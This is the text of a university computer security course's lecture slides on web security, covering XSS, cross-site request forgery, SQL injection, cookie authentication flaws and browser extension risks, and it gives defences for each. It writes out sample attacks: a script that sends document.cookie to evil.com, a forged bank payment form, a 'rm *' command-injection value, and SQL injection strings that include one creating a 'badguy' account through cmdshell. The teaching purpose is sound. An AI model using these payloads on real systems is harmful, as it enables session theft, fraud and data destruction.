CS419 – Computer Security Vinod Ganapathy Some slides borrowed from Prof. Vitaly Shmatikov,...

CS419 – Computer Security

Vinod Ganapathy

Some slides borrowed from Prof. Vitaly Shmatikov, UT-Austin.

Browser and Network

Browser

NetworkOS

Hardware

website

request

reply

Web security topics

• Part 1: JavaScript security, Same Origin

policy, Attacks: XSS, XSRF, SQL injection.

• Part 2: HTTP authentication and cookies.

• Part 3: Browser security issues.

Part 1

• Web application and JavaScript security.

• Attacks: XSS, XSRF, SQL injection.

• Online banking, shopping, government, etc. etc.• Website takes input from user, interacts with back-end

databases and third parties, outputs results by generating an HTML page

• Often written from scratch in a mixture of PHP, Java, Perl, Python, C, ASP

• Security is rarely the main concern– Poorly written scripts with inadequate input validation– Sensitive data stored in world-readable files– Recent push from Visa and Mastercard to improve

security of data management (PCI standard)

Web Applications

JavaScript

• Language executed by browser– Can run before HTML is loaded, before page is viewed,

while it is being viewed or when leaving the page• Often used to exploit other vulnerabilities

– Attacker gets to execute some code on user’s machine– Cross-scripting: attacker inserts malicious JavaScript

into a Web page or HTML email; when script is executed, it steals user’s cookies and hands them over to attacker’s site

Scripting

<script type="text/javascript"> function whichButton(event) {

if (event.button==1) {alert("You clicked the left mouse button!") }

else {alert("You clicked the right mouse button!")

}}</script>…<body onMouseDown="whichButton(event)">…</body>

Script defines apage-specific function

Function gets executed when some eventhappens (onLoad, onKeyPress, onMouseMove…)

JavaScript Security Model• Script runs in a “sandbox”

– Not allowed to access files or talk to the network• Same-origin policy

– Can only read properties of documents and windows from the same server, protocol, and port

– If the same server hosts unrelated sites, scripts from one site can access document properties on the other

• User can grant privileges to signed scripts – UniversalBrowserRead/Write,

UniversalFileRead, UniversalSendMail

Cookie Authentication: Not Enough!

• Users logs into bank.com, forgets to sign off– Session cookie remains in browser state

• User then visits a malicious website containing

<form name=BillPayForm

action=http://bank.com/BillPay.php>

<input name=recipient value=badguy> …

<script> document.BillPayForm.submit(); </script> • Browser sends cookie, payment request fulfilled!!• Lesson: cookie authentication not sufficient when side

effects can happen

XSRF: Cross-Site Request Forgery

• Same browser runs a script from a “good” site and a malicious script from a “bad” site– Requests to “good” site are authenticated by cookies

• Malicious script can make forged requests to “good” site with user’s cookie– Netflix: change acct settings, Gmail: steal contacts– Potential for much bigger damage (think banking)

• Prevention: website should embed fresh nonce in every form, check for it on every request– Forged requests will have cookie, but not the nonce

Risks of Poorly Written Scripts• For example, echo user’s input

http://naive.com/search.php?term=“Britney Spears”

search.php responds with

<html> <title>Search results</title>

<body>You have searched for <?php echo $_GET[term] ?>… </body>

Or

GET/ hello.cgi?name=Bob

hello.cgi responds with

<html>Welcome, dear Bob</html>

XSS: Cross-Site Scripting

victim’sbrowser

naive.comevil.com

Access some web page

<FRAME SRC=http://naive.com/hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie) </script>>Forces victim’s browser tocall hello.cgi on naive.comwith this script as “name”

GET/ hello.cgi?name=<script>win.open(“http://evil.com/steal.cgi?cookie”+document.cookie)</script>

hello.cgiexecuted

<HTML>Hello, dear<script>win.open(“http://evil.com/steal.cgi?cookie=”+document.cookie)</script>Welcome!</HTML>Interpreted as

Javascript by victim’s browser; opens window and calls steal.cgi on evil.com

GET/ steal.cgi?cookie=

E.g., URL embedded in HTML email

hello.cgi

• XSS is a form of reflection attack– User is tricked into visiting a badly written website– A bug in website code causes it to display the

attack script and the user’s browser to execute arbitrary operations contained in the attack script

• Can transmit user’s private data to attacker– E.g., encode it in a URL request to attacker’s site

• Can change contents of the affected website– Show bogus information, request sensitive data

• Can cause user’s browser to attack other websites

XSS Risks

• Users can post HTML on their MySpace pages• MySpace does not allow scripts in users’ HTML

– No <script>, <body>, onclick, <a href=javascript://>• … but does allow <div> tags for CSS. K00L!

– <div style=“background:url(‘javascript:alert(1)’)”>• But MySpace will strip out “javascript”

– Use “java<NEWLINE>script” instead• But MySpace will strip out quotes

– Convert from decimal instead: alert('double quote: ' + String.fromCharCode(34))

MySpace Worm (1)http://namb.la/popular/tech.html

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page• Everybody who visits an infected page, becomes

infected and adds “samy” as a friend and hero• 5 hours later “samy”

has 1,005,831 friends– Was adding 1,000 friends per second at its peak

MySpace Worm (2)http://namb.la/popular/tech.html

• Hide script in user-created content– Social sites (e.g., MySpace), blogs, forums, wikis

• When visitor loads the page, webserver displays the content and visitor’s browser executes script– Many sites try to filter out scripts from user

content, but this is difficult (example: samy worm)• Another reflection trick

– Some websites parse input from URL

http://cnn.com/login?URI=“>><script>AttackScript</script>

– Use phishing email to drive users to this URL– Similar: malicious DOM (client parses bad URL)

Where Malicious Scripts Live

Attack code does not appear in HTML sent over network

• Scripts embedded in webpages– Same-origin policy doesn’t prohibit

embedding of third-party scripts– Ad servers, mashups, etc.

• “Bookmarklets”– Bookmarked JavaScript URL

javascript:alert(“Welcome to paradise!”)– Runs in the context of current loaded page

Other Sources of Malicious Scripts

• Preventing injection of scripts into HTML is hard!– Blocking “<” and “>” is not enough– Event handlers, stylesheets, encoded inputs (%3C), etc.– phpBB allowed simple HTML tags like <b>

<b c=“>” onmouseover=“script” x=“<b ”>Hello<b>• Any user input must be preprocessed before it is used

inside HTML– In PHP, htmlspecialchars(string) will replace all special

characters with their HTML codes• ‘ becomes ' “ becomes " & becomes

&– In ASP.NET, Server.HtmlEncode(string)

Preventing Cross-Site Scripting

Inadequate Input Validation

• http://victim.com/copy.php?name=username

• copy.php includes

system(“cp temp.dat $name.dat”)

• User calls

http://victim.com/copy.php?name=“a; rm *”

• copy.php executes

system(“cp temp.dat a; rm *”);

Supplied by the user!

URL Redirection

• http://victim.com/cgi-bin/loadpage.cgi?page=url– Redirects browser to url– Commonly used for tracking user clicks; referrals

• Phishing website puts

http://victim.com/

cgi-bin/loadpage.cgi?page=phish.com• Everything looks Ok (the link is indeed pointing to

victim.com), but user ends up on phishing site!

User Data in SQL Queries

• set UserFound=execute(

SELECT * FROM UserTable WHERE

username=′ ” & form(“user”) & “ ′ AND

password=′ ” & form(“pwd”) & “ ′ ” );– User supplies username and password, this

SQL query checks if user/password combination is in the database

• If not UserFound.EOF

Authentication correct

else Fail

Only true if the result of SQL query is not empty, i.e., user/pwd is in the database

SQL Injection

• User gives username ′ OR 1=1 --

• Web server executes query

set UserFound=execute(


username=′ ′ OR 1=1 -- … );

• This returns the entire database!

• UserFound.EOF is always false; authentication is always “correct”

Always true!

Everything after -- is ignored!

Another SQL Injection Example

• To authenticate logins, server runs this SQL command against the user database:

SELECT * WHERE user=‘name’ AND pwd=‘passwd’

• User enters ’ OR WHERE pwd LIKE `% as both name and passwd

• Server executes

SELECT * WHERE user=‘’ OR WHERE pwd LIKE `%’ AND pwd=‘’ OR WHERE pwd LIKE `%’

• Logs in with the credentials of the first person in the database (typically, administrator!)

[From “The Art of Intrusion”]

Wildcard matches any password

It Gets Better

• User gives username

′ exec cmdshell ’net user badguy badpwd’ / ADD --

• Web server executes query

set UserFound=execute(


username=′ ′ exec … -- … );

• Creates an account for badguy on DB server

• Fix: always escape user-supplied arguments– Convert ’ into \’

Uninitialized Inputs

/* php-files/lostpassword.php */

for ($i=0; $i<=7; $i++)

$new_pass .= chr(rand(97,122))

…

$result = dbquery(“UPDATE ”.$db_prefix.“users

SET user_password=md5(‘$new_pass’)

WHERE user_id=‘”.$data[‘user_id’].“ ’ ”);

In normal execution, this becomes

UPDATE users SET user_password=md5(‘???????’)

WHERE user_id=‘userid’

Creates a password with 7 random characters, assuming $new_pass is set to NULL

SQL query settingpassword in the DB

… with superuser privileges

User’s password isset to ‘badPwd’

Exploit

User appends this to the URL:

&new_pass=badPwd%27%29%2c

user_level=%27103%27%2cuser_aim=%28%27

SQL query becomes

UPDATE users SET user_password=md5(‘badPwd’)

user_level=‘103’, user_aim=(‘???????’)

WHERE user_id=‘userid’

This sets $new_pass to badPwd’), user_level=‘103’, user_aim=(‘

Poor Input Validation: Examples

• Web form for traceroute doesn’t check for “&” type <IP addr> & <any shell command>

• PHF (phonebook) CGI script does not check input for newline execute any shell command– Open xterm to attacker’s X server, display pwd

file– Use it to show directory contents, learn that

Apache is running as “nobody”, change config file so that it runs as “root” next time, break in after a blackout

• Perl script doesn’t check for backticks steal mailing list from a porn site for spamming

[From “The Art of Intrusion”]

Part 2

• HTTP protocol and cookie-based

authentication.

HTTP: HyperText Transfer Protocol

• Used to request and return data – Methods: GET, POST, HEAD, …

• Stateless request/response protocol– Each request is independent of previous

requests– Statelessness has a significant impact on

design and implementation of applications

GET /default.asp HTTP/1.0Accept: image/gif, image/x-bitmap, image/jpeg, */*Accept-Language: enUser-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)Connection: Keep-AliveIf-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT

HTTP Request

Method File HTTP version Headers

Data – none for GET

Blank line

HTTP/1.0 200 OKDate: Sun, 21 Apr 1996 02:20:42 GMTServer: Microsoft-Internet-Information-Server/5.0 Connection: keep-aliveContent-Type: text/htmlLast-Modified: Thu, 18 Apr 1996 17:39:05 GMTContent-Length: 2543 <HTML> Some data... blah, blah, blah </HTML>

HTTP Response

HTTP version Status code Reason phrase Headers

Data

HTTP Digest Authenticationclient server

Request URL withGET or POST method

• HTTP 401 Unauthorised• Authentication “realm” (description of system being accessed)

• Fresh, random nonceH3=hash(H1, server nonce, H2)

Recompute H3 and verify

H1=hash(username, realm, password)H2=hash(method, URL)

Primitive Browser Session

www.e_buy.com

www.e_buy.com/shopping.cfm?

pID=269

View catalog

www.e_buy.com/shopping.cfm?

pID=269&item1=102030405

www.e_buy.com/checkout.cfm?

pID=269&item1=102030405

Check outSelect item

Store session information in URL; easily read on network

FatBrain.com circa 1999

• User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator

– With special URL, user doesn’t need to re-authenticate

• Reasoning: user could not have not known the special URL without authenticating first. That’s true, BUT…

• Authenticators are global sequence numbers– It’s easy to guess sequence number for another user

– Fix: use random authenticators

https://www.fatbrain.com/HelpAccount.asp?t=0&[email protected]&p2=540555758

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752

[Fu et al.]

Bad Idea: Encoding State in URL

• Unstable, frequently changing URLs

• Vulnerable to eavesdropping

• There is no guarantee that URL is private– Early versions of Opera used to send entire

browsing history, including all visited URLs, to Google

Storing Info Across Sessions

• A cookie is a file created by an Internet site to store information on your computer

BrowserServer

Enters form data

Stores cookie

BrowserServer

Requests cookie

Returns data

HTTP is a stateless protocol; cookies add state

Includes domain (who can read it), expiration, “secure” (can be read only over SSL)

What Are Cookies Used For?

• Authentication– Use the fact that the user authenticated

correctly in the past to make future authentication quicker

• Personalization– Recognize the user from a previous visit

• Tracking– Follow the user from site to site; learn

his/her browsing behavior, preferences, and so on

Cookie Management

• Cookie ownership– Once a cookie is saved on your computer,

only the website that created the cookie can read it

• Variations– Temporary cookies

• Stored until you quit your browser

– Persistent cookies• Remain until deleted or expire

– Third-party cookies• Originates on or sent to another website

Privacy Issues with Cookies

• Cookie may include any information about you known by the website that created it– Browsing activity, account information, etc.

• Sites can share this information– Advertising networks– 2o7.net tracking cookie

The Weather Channel

The website “twci.coremetrics.com” has requested to save a file on your computer called a “cookie.” Thisfile may be used to track usageinformation…

MySpace

The website “insightexpressai.com” has requested to save a file on your computer called a “cookie”…

Let’s Take a Closer Look…

Storing State in Browser Cookies

• Set-cookie: price=299.99

• User edits the cookie… cookie: price=29.99

• What’s the solution?

• Add a MAC to every cookie, computed with the server’s secret key– Price=299.99; HMAC(ServerKey, 299.99)

• But what if the website changes the price?

Web Authentication via Cookies• Need authentication system that works over HTTP and

does not require servers to store session data– Why is it a bad idea to store session state on server?

• Servers can use cookies to store state on client– After client successfully authenticates, server computes

an authenticator and gives it to browser in a cookie• Client cannot forge authenticator on his own• Example: hash(server’s secret key, session id)

– With each request, browser presents the cookie– Server recomputes and verifies the authenticator

• Server does not need to remember the authenticator

Typical Session with Cookiesclient server

POST /login.cgi

Set-Cookie:authenticator

GET /restricted.htmlCookie:authenticator

Restricted content

Verify that thisclient is authorized

Check validity ofauthenticator(e.g., recomputehash(key,sessId))

Authenticators must be unforgeable and tamper-proof

(malicious client shouldn’t be able to compute his own or modify an existing authenticator)

WSJ.com circa 1999• Idea: use user,hash(user,key) as authenticator

– Key is secret and known only to the server. Without the key, clients can’t forge authenticators.

• Implementation: user,crypt(user,key)– crypt() is UNIX hash function for passwords– crypt() truncates its input at 8 characters– Usernames matching first 8 characters end up with

the same authenticator– No expiration or revocation

• It gets worse… This scheme can be exploited to extract the server’s secret key

[Fu et al.]

Attackusername crypt(username,key,“00”)authenticator cookie

AliceBob1AliceBob2

008H8LRfzUXvk AliceBob1008H8LRfzUXvk

008H8LRfzUXvk AliceBob2008H8LRfzUXvk

Create an account with a 7-letter user name…AliceBoA 0073UYEre5rBQ Try logging in: access refused

AliceBoB 00bkHcfOXBKno Access refused

AliceBoC 00ofSJV6An1QE Login successful! 1st key symbol is C

Now a 6-letter user name…AliceBCA

AliceBCB

001mBnBErXRuc

00T3JLLfuspdo

Access refused

Access refused… and so on

• Only need 128 x 8 queries instead of intended 1288

• 17 minutes with a simple Perl script vs. 2 billion years

Better Cookie Authenticator

Capability ExpirationHash(server secret, capability, expiration)

Describes what user is authorized todo on the site that issued the cookie

Cannot be forged by malicious user;does not leak server secret

• Main lesson: don’t roll your own!– Homebrewed authentication schemes are often

flawed

• There are standard cookie-based schemes

Part 3

• Browser security

Browsers are vulnerable

• Massive, complex pieces of software.• Where do the vulnerabilities reside?• What can we do about them?

ActiveX

• ActiveX controls are compiled binaries– Downloaded and installed

• ActiveX controls reside on client's machine – Activated by HTML object tag on the page– Run as binaries, not interpreted by browser

• Security model relies on three components– Digital signatures to verify the source of the

binary– Browser policy can reject controls from

network zones– Controls can be marked by author as “safe for

initialization” or “safe for scripting”

Once accepted, installed and started, no control over execution!

Installing Controls

If you install and run, no further control over the code In principle, browser/OS could apply sandboxing, other

techniques for containing risks in native code

IE Browser “Helper Objects”• COM components loaded when IE starts up

• Run in same memory context as the browser

• Perform any action on IE windows and modules

– Detect browser events

• GoBack, GoForward, and DocumentComplete

– Access browser menu, toolbar and make changes

– Create windows to display information (or ads!!)

– Install hooks to monitor messages and actions

• There is no protection from extensions

– Spyware writers’ favorite!

• Try running HijackThis on your computer

JavaScript-based Extensions

(JSEs)• Modern browsers support extensions

– JavaScript-based Extensions

• Hugely popular

– 1.5 bn JSEs downloaded, 150 - 190 mn used daily[Mozilla Add-ons Statistics Dashboard]

JSEs: A Security Risk• Unrestricted access to system resources

• Hard to detect malicious code• Inadequate sandboxing of JSE actions: JSEs

execute with the full privileges of the browser• Lack of good development and debugging tools for JSE

Sensitive

Malicious JSEs can cause loss of sensitive dataVulnerable JSEs can be exploited by remote attacker

Malicious JSE

Vulnerable JSE

Sensitive

Outline

• Introduction

• Motivating Example

• Solution

• Evaluation

• Conclusion

GreaseMonkey

• Highly popular Firefox extension

– nearly 3 million active daily users[Mozilla Add-ons Statistics Dashboard]

• Exports a set of APIs for users to customize and

program the way web pages look and function

GreaseMonkey/Firefox Vulnerability

www.evil.com

Alice

Sensitive

Exploited JSEs can lead to

disclosure of confidential

data

Firefox with

GreaseMonkey

GreaseMonkey

Dangerous Websites• Recent “Web patrol” study at Microsoft identified 752

unique URLs that could successfully exploit unpatched Windows XP machines

– Many are interlinked by redirection and controlled by the same major players

• “But I never visit risky websites”

– 11 exploit pages are among top 10,000 most visited

– Trick: put up a page with popular content, get into search engines, page redirects to the exploit site

• One of the malicious sites was providing exploits to 75 “innocuous” sites focusing on (1) celebrities, (2) song lyrics, (3) wallpapers, (4) video game cheats, and (5) wrestling

Proof-of-Concept Attack: Just 20

lines

Firefox Sniffer (FFsniFF) – A Malicious JSE

Sniffs all form fields

Emails them to the attacker

********

Submit to the websiteFirefox with FFsniFF

CS419 – Computer Security Vinod Ganapathy Some slides borrowed from Prof. Vitaly Shmatikov,...

Documents

Transcript of CS419 – Computer Security Vinod Ganapathy Some slides borrowed from Prof. Vitaly Shmatikov,...